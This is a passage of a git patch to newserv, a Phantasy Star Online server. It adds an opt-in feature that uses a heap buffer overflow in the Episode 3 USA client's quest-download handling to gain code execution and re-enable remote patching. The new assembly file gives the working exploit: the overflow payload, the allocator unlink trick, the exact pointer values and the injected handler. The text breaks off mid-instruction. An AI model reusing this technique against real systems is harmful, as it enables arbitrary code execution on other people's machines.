From 0a1eb5f0d77ca556160312c456a87934ec426d48 Mon Sep 17 00:00:00 2001 From: Martin Michelsen Date: Mon, 31 Oct 2022 16:33:56 -0700 Subject: [PATCH] add Ep3 USA patch function --- src/Client.cc | 1 + src/Client.hh | 34 +- src/CommandFormats.hh | 3 +- src/Main.cc | 6 + src/Menu.hh | 7 +- src/ProxyCommands.cc | 100 +++--- src/ProxyServer.cc | 7 +- src/Quest.cc | 6 +- src/ReceiveCommands.cc | 39 ++- src/SendCommands.cc | 107 +++--- src/SendCommands.hh | 2 + src/ServerState.cc | 1 + src/ServerState.hh | 1 + src/Version.cc | 3 + system/config.example.json | 6 + system/ppc/Episode3USAQuestBufferOverflow.s | 352 ++++++++++++++++++++ 16 files changed, 564 insertions(+), 111 deletions(-) create mode 100644 system/ppc/Episode3USAQuestBufferOverflow.s diff --git a/src/Client.cc b/src/Client.cc index abba4c07..fec43abb 100644 --- a/src/Client.cc +++ b/src/Client.cc @@ -64,6 +64,7 @@ Client::Client( can_chat(true), pending_bb_save_player_index(0), proxy_block_events(false), + proxy_block_function_calls(false), proxy_save_files(false), proxy_suppress_remote_login(false), proxy_zero_remote_guild_card(false), diff --git a/src/Client.hh b/src/Client.hh index 5bf680c9..0535c1c7 100644 --- a/src/Client.hh +++ b/src/Client.hh @@ -33,40 +33,43 @@ struct Client { // Note that this flag is NOT set for Episode 3 Trial Edition clients, since // that version is similar enough to the release version of Episode 3 that // newserv does not have to change its behavior at all. - IS_TRIAL_EDITION = 0x2000, + IS_TRIAL_EDITION = 0x2000, // Client is DC v1 - IS_DC_V1 = 0x0010, + IS_DC_V1 = 0x0010, // For patch server clients, client is Blue Burst rather than PC - IS_BB_PATCH = 0x0001, + IS_BB_PATCH = 0x0001, // After joining a lobby, client will no longer send D6 commands when they // close message boxes - NO_D6_AFTER_LOBBY = 0x0002, + NO_D6_AFTER_LOBBY = 0x0002, // Client has the above flag and has already joined a lobby, or is not GC - NO_D6 = 0x0004, + NO_D6 = 0x0004, // Client is Episode 3, should be able to see CARD lobbies, and should only // be able to see/join games with the EPISODE_3_ONLY flag - IS_EPISODE_3 = 0x0008, + IS_EPISODE_3 = 0x0008, // Client disconnects if it receives B2 (send_function_call) - NO_SEND_FUNCTION_CALL = 0x0200, + NO_SEND_FUNCTION_CALL = 0x0200, // Client requires doubly-encrypted code section in send_function_call - ENCRYPTED_SEND_FUNCTION_CALL = 0x0800, + ENCRYPTED_SEND_FUNCTION_CALL = 0x0800, // Client supports send_function_call but does not actually run the code - SEND_FUNCTION_CALL_CHECKSUM_ONLY = 0x1000, + SEND_FUNCTION_CALL_CHECKSUM_ONLY = 0x1000, + // Client is vulnerable to a buffer overflow that we can use to enable + // send_function_call + USE_OVERFLOW_FOR_SEND_FUNCTION_CALL = 0x8000, // Client is loading into a game - LOADING = 0x0020, + LOADING = 0x0020, // Client is loading a quest - LOADING_QUEST = 0x0040, + LOADING_QUEST = 0x0040, // Client is in the information menu (login server only) - IN_INFORMATION_MENU = 0x0080, + IN_INFORMATION_MENU = 0x0080, // Client is at the welcome message (login server only) - AT_WELCOME_MESSAGE = 0x0100, + AT_WELCOME_MESSAGE = 0x0100, // Client has already received a 97 (enable saves) command, so don't show // the programs menu anymore - SAVE_ENABLED = 0x0400, + SAVE_ENABLED = 0x0400, // Client has received newserv's Episode 3 card definitions, so don't send // them again - HAS_EP3_CARD_DEFS = 0x4000, + HAS_EP3_CARD_DEFS = 0x4000, }; uint64_t id; @@ -121,6 +124,7 @@ struct Client { uint8_t pending_bb_save_player_index; bool proxy_block_events; + bool proxy_block_function_calls; bool proxy_save_files; bool proxy_suppress_remote_login; bool proxy_zero_remote_guild_card; diff --git a/src/CommandFormats.hh b/src/CommandFormats.hh index 90c96d4e..3f64ac22 100644 --- a/src/CommandFormats.hh +++ b/src/CommandFormats.hh @@ -1513,7 +1513,8 @@ struct C_Register_BB_9C { struct C_Login_DC_PC_GC_9D { le_uint32_t player_tag; // 0x00010000 if guild card is set (via 04) le_uint32_t guild_card_number; // 0xFFFFFFFF if not set - le_uint64_t unused; + le_uint32_t unused1; + le_uint32_t unused2; le_uint32_t sub_version; uint8_t is_extended; // If 1, structure has extended format uint8_t language; // 0 = JP, 1 = EN, 2 = DE, 3 = FR, 4 = ES diff --git a/src/Main.cc b/src/Main.cc index 4a277bfa..bbd68473 100644 --- a/src/Main.cc +++ b/src/Main.cc @@ -141,6 +141,12 @@ void populate_state_from_config(shared_ptr s, s->item_tracking_enabled = true; } + try { + s->episode_3_send_function_call_enabled = d.at("EnableEpisode3SendFunctionCall")->as_bool(); + } catch (const out_of_range&) { + s->episode_3_send_function_call_enabled = false; + } + shared_ptr log_levels_json; try { log_levels_json = d.at("LogLevels"); diff --git a/src/Menu.hh b/src/Menu.hh index daa4255d..7b2568a4 100644 --- a/src/Menu.hh +++ b/src/Menu.hh @@ -59,9 +59,10 @@ namespace ProxyOptionsMenuItemID { constexpr uint32_t INFINITE_TP = 0xAA2222AA; constexpr uint32_t SWITCH_ASSIST = 0xAA3333AA; constexpr uint32_t BLOCK_EVENTS = 0xAA4444AA; - constexpr uint32_t SAVE_FILES = 0xAA5555AA; - constexpr uint32_t SUPPRESS_LOGIN = 0xAA6666AA; - constexpr uint32_t SKIP_CARD = 0xAA7777AA; + constexpr uint32_t BLOCK_PATCHES = 0xAA5555AA; + constexpr uint32_t SAVE_FILES = 0xAA6666AA; + constexpr uint32_t SUPPRESS_LOGIN = 0xAA7777AA; + constexpr uint32_t SKIP_CARD = 0xAA8888AA; } diff --git a/src/ProxyCommands.cc b/src/ProxyCommands.cc index 4fd21cd0..046cb72a 100644 --- a/src/ProxyCommands.cc +++ b/src/ProxyCommands.cc @@ -172,7 +172,8 @@ static HandlerResult S_G_9A(shared_ptr, cmd.player_tag = 0x00010000; cmd.guild_card_number = session.remote_guild_card_number; } - cmd.unused = 0; + cmd.unused1 = 0; + cmd.unused2 = 0; cmd.sub_version = session.sub_version; cmd.is_extended = (session.remote_guild_card_number < 0) ? 0 : 1; cmd.language = session.language; @@ -322,7 +323,8 @@ static HandlerResult S_V123P_02_17( cmd.player_tag = 0x00010000; cmd.guild_card_number = session.remote_guild_card_number; } - cmd.unused = 0; + cmd.unused1 = 0; + cmd.unused2 = 0; cmd.sub_version = session.sub_version; cmd.is_extended = 0; cmd.language = session.language; @@ -371,7 +373,8 @@ static HandlerResult S_V123P_02_17( C_LoginExtended_GC_9E cmd; cmd.player_tag = 0x00010000; cmd.guild_card_number = guild_card_number; - cmd.unused = 0; + cmd.unused1 = 0; + cmd.unused2 = 0; cmd.sub_version = session.sub_version; cmd.is_extended = 0; cmd.language = session.language; @@ -936,14 +939,14 @@ static HandlerResult S_6x(shared_ptr, template static HandlerResult S_44_A6(shared_ptr, ProxyServer::LinkedSession& session, uint16_t command, uint32_t, string& data) { - if (session.save_files) { - const auto& cmd = check_size_t(data); - bool is_download_quest = (command == 0xA6); + const auto& cmd = check_size_t(data); - string filename = cmd.filename; - string output_filename = string_printf("%s.%s.%" PRIu64, + string filename = cmd.filename; + string output_filename; + if (session.save_files) { + output_filename = string_printf("%s.%s.%" PRIu64, filename.c_str(), - is_download_quest ? "download" : "online", now()); + (command == 0xA6) ? "download" : "online", now()); for (size_t x = 0; x < output_filename.size(); x++) { if (output_filename[x] < 0x20 || output_filename[x] > 0x7E || output_filename[x] == '/') { output_filename[x] = '_'; @@ -952,12 +955,17 @@ static HandlerResult S_44_A6(shared_ptr, if (output_filename[0] == '.') { output_filename[0] = '_'; } - - ProxyServer::LinkedSession::SavingFile sf( - cmd.filename, output_filename, cmd.file_size); - session.saving_files.emplace(cmd.filename, move(sf)); - session.log.info("Opened file %s", output_filename.c_str()); } + + ProxyServer::LinkedSession::SavingFile sf( + cmd.filename, output_filename, cmd.file_size); + session.saving_files.emplace(cmd.filename, move(sf)); + if (session.save_files) { + session.log.info("Opened file %s", output_filename.c_str()); + } else { + session.log.info("Tracking file %s", filename.c_str()); + } + return HandlerResult::Type::FORWARD; } @@ -967,39 +975,41 @@ constexpr on_command_t S_B_44_A6 = &S_44_A6; static HandlerResult S_13_A7(shared_ptr, ProxyServer::LinkedSession& session, uint16_t, uint32_t, string& data) { - if (session.save_files) { - const auto& cmd = check_size_t(data); + auto& cmd = check_size_t(data); + bool modified = false; - ProxyServer::LinkedSession::SavingFile* sf = nullptr; - try { - sf = &session.saving_files.at(cmd.filename); - } catch (const out_of_range&) { - string filename = cmd.filename; - session.log.warning("Received data for non-open file %s", filename.c_str()); - return HandlerResult::Type::FORWARD; - } - - size_t bytes_to_write = cmd.data_size; - if (bytes_to_write > 0x400) { - session.log.warning("Chunk data size is invalid; truncating to 0x400"); - bytes_to_write = 0x400; - } - - session.log.info("Writing %zu bytes to %s", bytes_to_write, sf->output_filename.c_str()); - fwritex(sf->f.get(), cmd.data, bytes_to_write); - if (bytes_to_write > sf->remaining_bytes) { - session.log.warning("Chunk size extends beyond original file size; file may be truncated"); - sf->remaining_bytes = 0; - } else { - sf->remaining_bytes -= bytes_to_write; - } - - if (sf->remaining_bytes == 0) { - session.log.info("File %s is complete", sf->output_filename.c_str()); - session.saving_files.erase(cmd.filename); - } + ProxyServer::LinkedSession::SavingFile* sf = nullptr; + try { + sf = &session.saving_files.at(cmd.filename); + } catch (const out_of_range&) { + string filename = cmd.filename; + session.log.warning("Received data for non-open file %s", filename.c_str()); + return HandlerResult::Type::FORWARD; } - return HandlerResult::Type::FORWARD; + + if (cmd.data_size > sf->remaining_bytes) { + session.log.warning("Chunk size extends beyond original file size; truncating file"); + cmd.data_size = sf->remaining_bytes; + modified = true; + } else if (cmd.data_size > 0x400) { + session.log.warning("Chunk data size is invalid; truncating to 0x400"); + cmd.data_size = 0x400; + modified = true; + } + + if (sf->f.get()) { + session.log.info("Writing %" PRIu32 " bytes to %s", + cmd.data_size.load(), sf->output_filename.c_str()); + fwritex(sf->f.get(), cmd.data, cmd.data_size); + } + sf->remaining_bytes -= cmd.data_size; + + if (sf->remaining_bytes == 0) { + session.log.info("Closing file %s", sf->output_filename.c_str()); + session.saving_files.erase(cmd.filename); + } + + return modified ? HandlerResult::Type::MODIFIED : HandlerResult::Type::FORWARD; } static HandlerResult S_G_B7(shared_ptr, diff --git a/src/ProxyServer.cc b/src/ProxyServer.cc index ce9883ff..5f47f695 100644 --- a/src/ProxyServer.cc +++ b/src/ProxyServer.cc @@ -626,8 +626,11 @@ ProxyServer::LinkedSession::SavingFile::SavingFile( uint32_t remaining_bytes) : basename(basename), output_filename(output_filename), - remaining_bytes(remaining_bytes), - f(fopen_unique(this->output_filename, "wb")) { } + remaining_bytes(remaining_bytes) { + if (!this->output_filename.empty()) { + this->f = fopen_unique(this->output_filename, "wb"); + } +} diff --git a/src/Quest.cc b/src/Quest.cc index a40648f6..0dc035ab 100644 --- a/src/Quest.cc +++ b/src/Quest.cc @@ -659,9 +659,9 @@ string Quest::decode_gci( } else if (header.game_id[2] == 'S') { // Episode 3 // The first 0x10 bytes in the data segment appear to be unused. In most // files I've seen, the last half of it (8 bytes) are duplicates of the - // first 8 bytes of the unscrambled, compressed data, though this is likely - // the result of an uninitialized memory bug when the client encodes the - // file and not an actual constraint on what should be in these 8 bytes. + // first 8 bytes of the unscrambled, compressed data, though this is the + // result of an uninitialized memory bug when the client encodes the file + // and not an actual constraint on what should be in these 8 bytes. r.skip(16); // The game treats this field as a 16-byte string (including the \0). The 8 // bytes after it appear to be completely unused. diff --git a/src/ReceiveCommands.cc b/src/ReceiveCommands.cc index 5dbea844..1466ae96 100644 --- a/src/ReceiveCommands.cc +++ b/src/ReceiveCommands.cc @@ -67,7 +67,8 @@ static const unordered_map proxy_options_menu_descrip {ProxyOptionsMenuItemID::INFINITE_HP, u"If enabled, the proxy\nwill restore your HP\nwhen you are hit by\nan enemy or trap,\nbut cannot revive\nyou from one-hit\nkills"}, {ProxyOptionsMenuItemID::INFINITE_TP, u"If enabled, the proxy\nwill restore your TP\nwhen you cast any\ntechnique"}, {ProxyOptionsMenuItemID::SWITCH_ASSIST, u"If enabled, the proxy\nwill attempt to\nunlock 2-player\ndoors when you step\non both switches\nsequentially"}, - {ProxyOptionsMenuItemID::BLOCK_EVENTS, u"If enabled, season\nevents in the lobby\nand in games are\ndisabled."}, + {ProxyOptionsMenuItemID::BLOCK_EVENTS, u"If enabled, seasonal\nevents in the lobby\nand in games are\ndisabled."}, + {ProxyOptionsMenuItemID::BLOCK_PATCHES, u"If enabled, patches\nsent by the remote\nserver are blocked."}, {ProxyOptionsMenuItemID::SAVE_FILES, u"If enabled, the proxy\nwill save local\ncopies of files from\nthe remote server\n(quests, etc.)"}, {ProxyOptionsMenuItemID::SUPPRESS_LOGIN, u"If enabled, the proxy\nwill use an alternate\nlogin sequence"}, {ProxyOptionsMenuItemID::SKIP_CARD, u"If enabled, the proxy\nwill use an alternate\nvalue for your initial\nGuild Card"}, @@ -91,6 +92,8 @@ static vector proxy_options_menu_for_client( } ret.emplace_back(ProxyOptionsMenuItemID::BLOCK_EVENTS, c->proxy_block_events ? u"Block events ON" : u"Block events OFF", u"", 0); + ret.emplace_back(ProxyOptionsMenuItemID::BLOCK_PATCHES, + c->proxy_block_function_calls ? u"Block patches ON" : u"Block patches OFF", u"", 0); ret.emplace_back(ProxyOptionsMenuItemID::SAVE_FILES, c->proxy_save_files ? u"Save files ON" : u"Save files OFF", u"", 0); ret.emplace_back(ProxyOptionsMenuItemID::SUPPRESS_LOGIN, @@ -127,6 +130,9 @@ static void send_client_to_proxy_server(shared_ptr s, shared_ptrproxy_block_events) { session->override_lobby_event = 0; } + if (c->proxy_block_function_calls) { + session->function_call_return_value = 0xFFFFFFFF; + } if (c->proxy_zero_remote_guild_card) { session->remote_guild_card_number = 0; } else { @@ -152,6 +158,20 @@ static void send_proxy_destinations_menu(shared_ptr s, shared_ptr s, shared_ptr c) { + if (c->flags & Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL) { + if (s->episode_3_send_function_call_enabled) { + send_quest_buffer_overflow(s, c); + } else { + c->flags |= Client::Flag::NO_SEND_FUNCTION_CALL; + } + c->flags &= ~Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL; + return true; + } + return false; +} + //////////////////////////////////////////////////////////////////////////////// @@ -210,6 +230,9 @@ void on_login_complete(shared_ptr s, shared_ptr c) { (c->flags & Client::Flag::NO_D6) || !(c->flags & Client::Flag::AT_WELCOME_MESSAGE)) { c->flags &= ~Client::Flag::AT_WELCOME_MESSAGE; + if (send_enable_send_function_call_if_applicable(s, c)) { + send_update_client_config(c); + } send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu); } else { send_message_box(c, s->welcome_message.c_str()); @@ -637,6 +660,13 @@ static void on_login_d_e_dc_pc_v3(shared_ptr s, shared_ptr } set_console_client_flags(c, base_cmd->sub_version); + // See system/ppc/Episode3USAQuestBufferOverflow.s for where this value gets + // set. We use this to determine if the client has already run the code or + // not; sending it again when the client has already run it will likely cause + // the client to crash. + if (base_cmd->unused1 == 0x5F5CA297) { + c->flags &= ~(Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL | Client::Flag::NO_SEND_FUNCTION_CALL); + } uint32_t serial_number = stoul(base_cmd->serial_number, nullptr, 16); try { @@ -687,7 +717,6 @@ static void on_login_d_e_dc_pc_v3(shared_ptr s, shared_ptr } send_update_client_config(c); - on_login_complete(s, c); } @@ -985,9 +1014,10 @@ static void on_message_box_closed(shared_ptr s, shared_ptr send_menu(c, u"Information", MenuID::INFORMATION, *s->information_menu_for_version(c->version())); } else if (c->flags & Client::Flag::AT_WELCOME_MESSAGE) { - send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu); + send_enable_send_function_call_if_applicable(s, c); c->flags &= ~Client::Flag::AT_WELCOME_MESSAGE; send_update_client_config(c); + send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu); } } @@ -1301,6 +1331,9 @@ static void on_menu_selection(shared_ptr s, shared_ptr c, case ProxyOptionsMenuItemID::BLOCK_EVENTS: c->proxy_block_events = !c->proxy_block_events; goto resend_proxy_options_menu; + case ProxyOptionsMenuItemID::BLOCK_PATCHES: + c->proxy_block_function_calls = !c->proxy_block_function_calls; + goto resend_proxy_options_menu; case ProxyOptionsMenuItemID::SAVE_FILES: c->proxy_save_files = !c->proxy_save_files; goto resend_proxy_options_menu; diff --git a/src/SendCommands.cc b/src/SendCommands.cc index ac680f68..0b04dcb4 100644 --- a/src/SendCommands.cc +++ b/src/SendCommands.cc @@ -243,6 +243,74 @@ void send_update_client_config(shared_ptr c) { +template +void send_quest_open_file_t( + shared_ptr c, + const string& quest_name, + const string& filename, + uint32_t file_size, + QuestFileType type) { + CommandT cmd; + uint8_t command_num; + switch (type) { + case QuestFileType::ONLINE: + command_num = 0x44; + cmd.name = "PSO/" + quest_name; + cmd.flags = 2; + break; + case QuestFileType::GBA_DEMO: + command_num = 0xA6; + cmd.name = "GBA Demo"; + cmd.flags = 2; + break; + case QuestFileType::DOWNLOAD: + command_num = 0xA6; + cmd.name = "PSO/" + quest_name; + cmd.flags = 0; + break; + case QuestFileType::EPISODE_3: + command_num = 0xA6; + cmd.name = "PSO/" + quest_name; + cmd.flags = 3; + break; + default: + throw logic_error("invalid quest file type"); + } + cmd.unused.clear(0); + cmd.file_size = file_size; + cmd.filename = filename.c_str(); + send_command_t(c, command_num, 0x00, cmd); +} + +void send_quest_buffer_overflow( + shared_ptr s, shared_ptr c) { + // TODO: Figure out a way to share this state across sessions. Maybe we could + // e.g. modify send_1D to send a nonzero flag value, which we could use to + // know that the client already has this patch? Or just add another command in + // the login sequence? + + // PSO Episode 3 USA doesn't natively support the B2 command, but we can add + // it back to the game with some tricky commands. For details on how this + // works, see system/ppc/Episode3USAQuestBufferOverflow.s. + auto fn = s->function_code_index->name_to_function.at("Episode3USAQuestBufferOverflow"); + if (fn->code.size() > 0x400) { + throw runtime_error("Episode 3 buffer overflow code must be a single segment"); + } + + static const string filename = "m999999p_e.bin"; + send_quest_open_file_t( + c, "BufferOverflow", filename, 0x18, QuestFileType::EPISODE_3); + + S_WriteFile_13_A7 cmd; + cmd.filename = filename; + memcpy(cmd.data, fn->code.data(), fn->code.size()); + if (fn->code.size() < 0x400) { + memset(&cmd.data[fn->code.size()], 0, 0x400 - fn->code.size()); + } + cmd.data_size = fn->code.size(); + send_command_t(c, 0xA7, 0x00, cmd); +} + void send_function_call( shared_ptr c, shared_ptr code, @@ -1727,45 +1795,6 @@ void set_mask_for_ep3_game_command(void* vdata, size_t size, uint8_t mask_key) { -template -void send_quest_open_file_t( - shared_ptr c, - const string& quest_name, - const string& filename, - uint32_t file_size, - QuestFileType type) { - CommandT cmd; - uint8_t command_num; - switch (type) { - case QuestFileType::ONLINE: - command_num = 0x44; - cmd.name = "PSO/" + quest_name; - cmd.flags = 2; - break; - case QuestFileType::GBA_DEMO: - command_num = 0xA6; - cmd.name = "GBA Demo"; - cmd.flags = 2; - break; - case QuestFileType::DOWNLOAD: - command_num = 0xA6; - cmd.name = "PSO/" + quest_name; - cmd.flags = 0; - break; - case QuestFileType::EPISODE_3: - command_num = 0xA6; - cmd.name = "PSO/" + quest_name; - cmd.flags = 3; - break; - default: - throw logic_error("invalid quest file type"); - } - cmd.unused.clear(0); - cmd.file_size = file_size; - cmd.filename = filename.c_str(); - send_command_t(c, command_num, 0x00, cmd); -} - void send_quest_file_chunk( shared_ptr c, const string& filename, diff --git a/src/SendCommands.hh b/src/SendCommands.hh index 66c629f2..307acf70 100644 --- a/src/SendCommands.hh +++ b/src/SendCommands.hh @@ -122,6 +122,8 @@ void send_server_init( uint8_t flags); void send_update_client_config(std::shared_ptr c); +void send_quest_buffer_overflow( + std::shared_ptr s, std::shared_ptr c); void send_function_call( std::shared_ptr c, std::shared_ptr code, diff --git a/src/ServerState.cc b/src/ServerState.cc index 61d9aa84..d76f29d7 100644 --- a/src/ServerState.cc +++ b/src/ServerState.cc @@ -22,6 +22,7 @@ ServerState::ServerState() allow_unregistered_users(false), allow_saving(true), item_tracking_enabled(true), + episode_3_send_function_call_enabled(false), run_shell_behavior(RunShellBehavior::DEFAULT), next_lobby_id(1), pre_lobby_event(0), ep3_menu_song(-1) { diff --git a/src/ServerState.hh b/src/ServerState.hh index 1b51cb44..c2b99ca2 100644 --- a/src/ServerState.hh +++ b/src/ServerState.hh @@ -49,6 +49,7 @@ struct ServerState { bool allow_unregistered_users; bool allow_saving; bool item_tracking_enabled; + bool episode_3_send_function_call_enabled; RunShellBehavior run_shell_behavior; std::vector> bb_private_keys; std::shared_ptr function_code_index; diff --git a/src/Version.cc b/src/Version.cc index 3e892383..f6c52bed 100644 --- a/src/Version.cc +++ b/src/Version.cc @@ -70,6 +70,9 @@ uint16_t flags_for_version(GameVersion version, int64_t sub_version) { Client::Flag::IS_EPISODE_3 | Client::Flag::ENCRYPTED_SEND_FUNCTION_CALL; case 0x41: // GC Ep3 US + return Client::Flag::NO_D6_AFTER_LOBBY | + Client::Flag::IS_EPISODE_3 | + Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL; case 0x43: // GC Ep3 EU return Client::Flag::NO_D6_AFTER_LOBBY | Client::Flag::IS_EPISODE_3 | diff --git a/system/config.example.json b/system/config.example.json index 76826816..96a87e31 100644 --- a/system/config.example.json +++ b/system/config.example.json @@ -248,6 +248,12 @@ // they are at the newserv main menu. If set, this value must be an integer. // "Episode3MenuSong": 0, + // Whether to enable patches on Episode 3 USA. This functionality depends on + // exploiting a bug in Episode 3, and while it seems to work reliably on + // Dolphin, it hasn't been tested on a real GameCube. So, newserv doesn't + // enable Episode 3 patches by default; it only does so if this option is on. + // "EnableEpisode3SendFunctionCall": true, + // By default, the server keeps track of items in all games, even for versions // other than Blue Burst. This enables use of the $what command, as well as // protection against item duplication cheats (the cheater is disconnected diff --git a/system/ppc/Episode3USAQuestBufferOverflow.s b/system/ppc/Episode3USAQuestBufferOverflow.s new file mode 100644 index 00000000..e6cb1c94 --- /dev/null +++ b/system/ppc/Episode3USAQuestBufferOverflow.s @@ -0,0 +1,352 @@ +# There is a buffer overflow bug in PSO Episode 3 that this program uses to +# achieve arbitrary code execution. (This bug is likely present in all versions +# of PSO, but the code here is specific to the USA version of Episode 3.) This +# is only necessary because the non-Japanese versions of Episode 3 lack the B2 +# command, which is used on other console PSO versions to send patches and other +# bits of code. Here, we use a buffer overflow bug to re-implement the B2 +# command, which allows the server to treat PSO Episode 3 like any other version +# of PSO with respect to patching or loading DOL files. + +# For some background, PSO sends download quest files via the A6 and A7 +# commands. The A6 command is used to start sending a download quest file; it +# includes the quest name, file name, and total file size. The A7 command is +# used to send a chunk of 1KB (0x400 bytes) of data, or less if it's the final +# chunk of the file. When the client receives an A6 command for a filename +# ending in .bin, it allocates a buffer of (file size + 0x48) bytes. When it +# later receives an A7 command, it copies (cmd.data_size) bytes from the command +# to position (8 + 0x100 * flag) in the buffer, then if cmd.data_size was less +# than 0x400, it marks the file as done and postprocesses it. + +# However, the client neglects to check if the last chunk overflows the end of +# the buffer before copying the chunk data. In this function, we send an A6 +# command with an overall file size of only 0x18 bytes, then we send a chunk of +# 0x200 or so bytes (the compiled size of the code in this file), which +# overflows past the end of the allocated buffer and overwrites part of a free +# block after the allocated buffer. The memory allocator library keeps some of +# its bookkeeping structures at the beginning of this free block, which we use +# to cause the next call to malloc() to overwrite its own return address on the +# stack. Conveniently, this call happens soon afterward, during the +# postprocessing step. + +# The PSO memory allocator is a simple free-list allocator. The allocator +# maintains two linked lists of blocks: one for allocated blocks and one for +# free blocks. The list of free blocks is sorted in order of memory address, but +# the list of allocated blocks is sorted in the order they were allocated. (The +# order of the allocated block list does not matter for the allocator's +# performance or correctness.) + +# Each block begins with two pointers, prev and next, which point to other +# blocks in the allocated or free list. (As with a typical doubly-linked list, +# the first block has prev == nullptr and the last block has next == nullptr; +# there is no sentinel node on either end.) After these two pointers is the +# block's size in bytes, followed by 0x14 unused bytes. The block data +# immediately follows this 0x20-byte header structure. All block sizes are +# rounded up to a multiple of 0x20 bytes. + +# The malloc() routine simply searches for the first free block that has enough +# space to satisfy the request, and either splits it into an allocated and a +# free block (if the free block's size is at least 0x40 bytes more than the +# requested size), or converts the free block entirely into an allocated block +# and returns it. It is the second case that we take advantage of here. + +# When we send our A7 command containing this program, the first 0x58 bytes of +# it fill the quest file data buffer. The next 0x0C bytes of it overwrite the +# header fields of the following free block (noted below in the comments), and +# the remainder of the data goes into that block's unused header fields and the +# block's data (which is also otherwise unused, since it is a free block). We +# overwrite the free block's prev and next pointers with specific nonzero values +# and overwrite the size with the exact size that the caller will request, so we +# trigger the malloc() case that does not split the free block. When that code +# attempts to remove the free block from its doubly-linked list, it writes +# block->next to block->prev->next and block->prev to block->next->prev. We set +# block->prev to the address where we want execution to jump to (the start label +# here), and block->next to the address of malloc()'s return address on the +# stack. This overwrites the return address with the start label's address, and +# overwrites the word after the start label with an address within the stack. We +# can't avoid this second write since both pointers must be non-null and the +# values and addresses written are dependent on each other, but we can just use +# a branch opcode to ignore the value that gets written into our code. + +# Once we have control, we clean up the allocator state (restoring the free +# block as it was before we overwrote its header), then copy our implementation +# of the B2 command to an otherwise-unused are of memory and apply a few more +# patches. See the comments within the code below for more details. + + + +# This entry_ptr label isn't used since this code isn't sent with the B2 +# command; it just needs to be present for newserv to compile the code properly +entry_ptr: + +start: + b resume1 + # This is the value overwritten by malloc() when it attempts to remove the + # free block from its linked list + .data 0xAAAAAAAA + +resume1: + # We can use any of the caller-save registers (r0, r3-r12) here. + + # At entry time, some registers contain useful values: + # r5: Address of the allocator instance ("lists"). This structure includes the + # allocated and free list head pointers, one of which we have to update. + # r12: Address of the malloc() function that was called. Conveniently, the + # address that we should return to is very near this location in memory. + + # Compute the LR we should use to return from this function, but don't put it + # in the LR just yet - we're still going to need the LR for other shenanigans + subi r11, r12, 0xB0 # 8038C1B8 - B0 = 8038C108 + + # Restore the free block whose header we had destroyed with the A7 command + # buffer overflow + lis r7, 0x815F + ori r7, r7, 0xF440 + li r0, 0 + stw [r7], r0 # free_block->prev = nullptr + stw [r7 + 4], r0 # free_block->next = nullptr + lis r6, 0x001E + ori r6, r6, 0x0960 + stw [r7 + 8], r6 # free_block->size = 0x001E0960 + stw [r5 + 4], r7 # lists->free_head = free_block + + # Restore lists->allocated_head and clear its prev pointer + lis r6, 0x815F + ori r6, r6, 0xF3C0 + stw [r5 + 8], r6 # lists->allocated_head = orig_allocated_head + stw [r6], r0 # lists->allocated_head->prev = nullptr + + b resume2 + + # TODO: We can probably use this space for something useful. There must be + # exactly 20 opcodes (0x50 bytes) between resume1 and opaque2. + .zero + .zero + .zero + .zero + .zero + +opaque2: + # This block must be exactly here (the number of opcodes above is exactly how + # many will fit in the original buffer), and the 3 words here must have + # exactly these values. This is what causes malloc to overwrite the return + # address on the stack to call this code in the first place. + .data 0x815FF3E8 # free_head->prev + .data 0x80592AC4 # free_head->next + .data 0x00000160 # free_head->size + +resume2: + bl get_handle_B2_ptr + + # This is the code we're going to use for the B2 command handler, which we + # will copy into an unused area of memory. It's convenient to put it here and + # use a bl opcode to get its address, so this code can be minimally position- + # dependent. Note that this part of the code does not run at the time the A7 + # command is received; it will run later if the client receives a B2 command. +handle_B2: + mflr r0 + stwu [r1 - 0x40], r1 + stw [r1 + 0x44], r0 + + # Arguments: + # r3 = PSONetworkContext* ctx (we use this to call the send function) + # r4 = void* data + # Returns: void + + # Stack: + # [r1+08] = B3 XX 0C 00 + # [r1+0C] = code section's return value + # [r1+10] = checksum + # [r1+14] = saved ctx argument + # [r1+18] = saved data argument + # We reserved 0x40 bytes on the stack because I was lazy. + stw [r1 + 0x14], r3 + stw [r1 + 0x18], r4 + + # Set up the reply header (B3 XX 0C 00, where XX comes from the B2 command) + lbz r5, [r4 + 1] + rlwinm r5, r5, 16, 8, 15 + oris r5, r5, 0xB300 + ori r5, r5, 0x0C00 + stw [r1 + 0x08], r5 + + # If there's no code section, skip it. We also write the code section size to + # the return value field (which will be overwritten later if the size is not + # zero). This is because I'm lazy and this gives the behavior we want: the + # code return value is always zero if the code section size is zero. + li r6, 4 + lwbrx r5, [r4 + r6] # r5 = code_size + stw [r1 + 0x0C], r5 # response.code_return_value = code_size + cmplwi r5, 0 + beq handle_B2_skip_code + + # Get the code section base and footer addresses + addi r6, r4, 0x10 # r6 = code base address + add r7, r6, r5 + subi r7, r7, 0x20 # r7 = footer address (code base + code size - 0x20) + + # Check if there are relocations to do + lwz r8, [r7 + 4] # r8 = num relocations + cmplwi r8, 0 + beq handle_B2_skip_relocations + + # Execute the relocations + mtctr r8 + lwz r8, [r7] # r8 = relocations list offset + add r8, r8, r6 # r8 = relocations list address + subi r8, r8, 2 # Back up one space so we can use lhzu in the loop + mr r10, r6 # relocation pointer = code base address +handle_B2_relocate_again: + lhzu r9, [r8 + 2] + rlwinm r9, r9, 2, 0, 29 # r9 = next_relocation_offset * 4 + add r10, r10, r9 # relocation pointer += next_relocation_offset * 4 + lwz r9, [r10] + add r9, r9, r6 + stw [r10], r9 # (*relocation pointer) += code base address + bdnz handle_B2_relocate_again +handle_B2_skip_relocations: + + # Invalidate the caches appropriately for the newly-copied code + lis r0, 0x8000 + ori r0, r0, 0xC324 + mr r3, r6 + mr r4, r5 + mtctr r0 + bctrl # flush_code(code_base_addr, code_section_size) + + # Call the code section and put the return value (byteswapped) on the stack + # Note: flush_code only uses r3, r4, and r5, so we don't need to reload r7 + # after the above call + lwz r8, [r7 + 0x10] + lwzx r8, [r8 + r6] + mtctr r8 + bctrl + li r8, 0x0C + stwbrx [r1 + r8], r3 +handle_B2_skip_code: + + # Get the checksum function args + lwz r4, [r1 